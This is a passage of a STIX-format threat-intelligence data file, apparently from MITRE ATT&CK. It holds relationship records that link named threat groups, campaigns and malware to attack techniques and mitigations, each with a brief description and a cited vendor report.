VPCs.","source_ref":"x-mitre-data-component--f1eb6ea9-f3ab-414f-af35-2d5427199984","target_ref":"attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3be6aadd-ea5f-4910-a8a0-d1019977dc43","created":"2022-09-08T13:50:08.328Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-08T13:50:08.328Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used software packing in its tools.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3be9d897-5a20-4e2f-8b73-2a69256925b0","type":"relationship","created":"2020-10-02T16:50:12.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T16:50:12.902Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968","target_ref":"attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3beb0c09-e584-4fd8-92bb-d7a1ae9192e6","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"},{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"}],"modified":"2020-03-18T20:18:02.853Z","description":"(Citation: Palo Alto OilRig May 2016)(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3bf307c2-efb0-40b1-b896-82d15a9bce5f","type":"relationship","created":"2020-06-10T18:36:54.633Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET TeleBots Oct 2018","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018."},{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-03-31T15:59:33.151Z","description":"(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3bf633ad-4648-4610-ae68-9b3bbca7b512","created":"2023-01-23T18:48:35.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-24T22:44:54.215Z","description":"[Prestige](https://attack.mitre.org/software/S1058) has been executed on a target system through a scheduled task created by [Sandworm Team](https://attack.mitre.org/groups/G0034) using [Impacket](https://attack.mitre.org/software/S0357).(Citation: Microsoft Prestige ransomware October 2022)","relationship_type":"uses","source_ref":"malware--1da748a5-875d-4212-9222-b4c23ab861be","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3bf633d0-5578-4e3a-a599-52f3946f6623","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Reaver Nov 2017","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}],"modified":"2020-03-17T02:22:51.849Z","description":"[Reaver](https://attack.mitre.org/software/S0172) deletes the original dropped file from the victim.(Citation: Palo Alto Reaver Nov 2017)","relationship_type":"uses","source_ref":"malware--65341f30-bec6-4b1d-8abf-1a5620446c29","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3bfef472-e4b0-41be-be6b-314400c079cb","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}],"modified":"2020-03-17T01:53:17.519Z","description":"[NanHaiShu](https://attack.mitre.org/software/S0228) can gather information about the victim proxy server.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--705f0783-5f7d-4491-b6b7-9628e6e006d2","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3bffbeb5-27d2-4fc3-b28b-b9f686572009","created":"2023-05-17T18:23:34.269Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:53:40.735Z","description":"[ANDROMEDA](https://attack.mitre.org/software/S1074) can inject into the `wuauclt.exe` process to perform C2 actions.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--dcd9548e-df9e-47c2-81f3-bc084289959d","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c021bb7-e96b-4a87-931b-d74f19ec8bcb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/","description":"Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.","source_name":"ASERT Donot March 2018"}],"modified":"2019-04-25T00:09:23.104Z","description":"[yty](https://attack.mitre.org/software/S0248) uses the net view command for discovery.(Citation: ASERT Donot March 2018)","relationship_type":"uses","source_ref":"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c0938ab-9272-492b-96f6-df6caea210e5","created":"2024-10-07T21:34:07.314Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T21:34:07.314Z","description":"Prevents malicious shortcuts or LNK files from executing unwanted code by ensuring only authorized applications and scripts are allowed to run.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c0cb507-2bf0-46ab-b5c2-ba2865397722","type":"relationship","created":"2019-06-13T19:12:07.290Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back","source_name":"Morphisec ShellTea June 2019"}],"modified":"2019-06-28T20:48:52.653Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather AVs registered in the system.(Citation: Morphisec ShellTea June 2019)\t","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c132a1b-053d-450b-8a4f-cabf30317075","type":"relationship","created":"2020-06-24T19:58:56.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."},{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."}],"modified":"2021-10-15T00:45:22.061Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has used native WINAPI calls.(Citation: Medium Metamorfo Apr 2020)(Citation: Fortinet Metamorfo Feb 2020)","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c155a7b-d51d-4290-a663-3e5cf022d6e4","created":"2023-02-16T18:49:34.228Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T22:05:26.731Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can check for the Kaspersky Anti-Virus suite.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c1dbc6c-c608-4745-8cd2-863b4d56fabe","created":"2023-03-31T19:37:28.480Z","revoked":false,"external_references":[{"source_name":"Cybereason Royal December 2022","description":"Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.","url":"https://www.cybereason.com/blog/royal-ransomware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T19:37:28.480Z","description":"[Royal](https://attack.mitre.org/software/S1073) can use SMB to connect to move laterally.(Citation: Cybereason Royal December 2022)","relationship_type":"uses","source_ref":"malware--802a874d-7463-4f2a-99e3-6a1f5a919a21","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c210990-7596-4773-a640-adf44490d08d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-17T00:43:32.023Z","description":"[Comnie](https://attack.mitre.org/software/S0244) uses the tasklist to view running processes on the victim’s machine.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c26f9f5-7aaf-4bb0-81ee-23b0e3a303cc","created":"2024-06-19T19:10:37.346Z","revoked":false,"external_references":[{"source_name":"SentinelOne Gootloader June 2021","description":"Pirozzi, A. (2021, June 16). Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets. Retrieved May 28, 2024.","url":"https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-19T19:10:37.346Z","description":"[Gootloader](https://attack.mitre.org/software/S1138) can insert malicious scripts to compromise vulnerable content management systems (CMS).(Citation: SentinelOne Gootloader June 2021)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c295abc-714f-4c14-82dd-554761b4a0b2","created":"2024-03-05T18:31:45.874Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-05T18:31:45.874Z","description":"[WIREFIRE](https://attack.mitre.org/software/S1115) has the ability to download files to compromised devices.(Citation: Mandiant Cutting Edge January 2024)","relationship_type":"uses","source_ref":"malware--c93e3079-43fb-4d8d-9e99-db63d07eadc9","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c2b63fe-e891-4ac5-a0aa-d02536699614","created":"2023-03-17T14:57:43.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T16:58:18.953Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) lured users into executing a malicious link to disclose private account information or provide initial access.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c2faef1-3fa6-4942-be18-460a8e6ec815","created":"2023-09-12T19:39:33.387Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T19:39:33.387Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has used multiple strains of malware available for purchase on criminal forums or in open-source repositories.(Citation: Proofpoint TA2541 February 2022)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c331c9b-bd73-422b-a62a-560d92946d5b","created":"2023-01-26T15:07:25.068Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T15:07:25.068Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used the following Windows scheduled tasks for DEADEYE dropper persistence on US state government networks: `\\Microsoft\\Windows\\PLA\\Server Manager Performance Monitor`, `\\Microsoft\\Windows\\Ras\\ManagerMobility`, `\\Microsoft\\Windows\\WDI\\SrvSetupResults`, and `\\Microsoft\\Windows\\WDI\\USOShared`.(Citation: Mandiant APT41) ","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c3579df-fbd4-4a68-8ee8-e45861a3eda0","type":"relationship","created":"2020-06-10T20:30:38.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.428Z","description":"(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c3646c8-56a5-443a-a71f-a32ea6269750","created":"2022-09-19T18:37:39.506Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-19T18:37:39.506Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), stolen data was copied into a text file using the format `From (- --).txt` prior to compression, encoding, and exfiltration.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c367277-6168-4df8-b982-e9949994123d","type":"relationship","created":"2020-06-24T00:26:37.174Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Outlook Dec 2019","url":"https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html","description":"McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020."}],"modified":"2020-06-24T00:26:37.174Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has abused the Outlook Home Page feature for persistence. [OilRig](https://attack.mitre.org/groups/G0049) has also used CVE-2017-11774 to roll back the initial patch designed to protect against Home Page abuse.(Citation: FireEye Outlook Dec 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--bf147104-abf9-4221-95d1-e81585859441","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c37c043-7f27-4fb9-ba7f-bce3181849ac","type":"relationship","created":"2020-02-10T20:43:10.389Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-20T19:23:37.965Z","description":"Require signed binaries and images.","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c385d99-72c8-40b8-8eb5-f844c2b191c8","created":"2022-07-29T19:48:28.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks MCMD July 2019","description":"Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020.","url":"https://www.secureworks.com/research/mcmd-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:23:09.685Z","description":"[MCMD](https://attack.mitre.org/software/S0500) has the ability to remove set Registry Keys, including those used for persistence.(Citation: Secureworks MCMD July 2019)","relationship_type":"uses","source_ref":"tool--975737f1-b10d-476f-8bda-3ec26ea57172","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c3f5cdb-f2cd-4bab-8196-26f160b38a5e","type":"relationship","created":"2020-06-19T20:04:12.134Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T16:54:26.406Z","description":"[APT32](https://attack.mitre.org/groups/G0050) used the net view command to show all shares available, including the administrative shares such as C$ and ADMIN$.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c40e9a1-72fd-4c7d-8a69-df574c54441e","created":"2023-02-08T19:42:36.945Z","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When 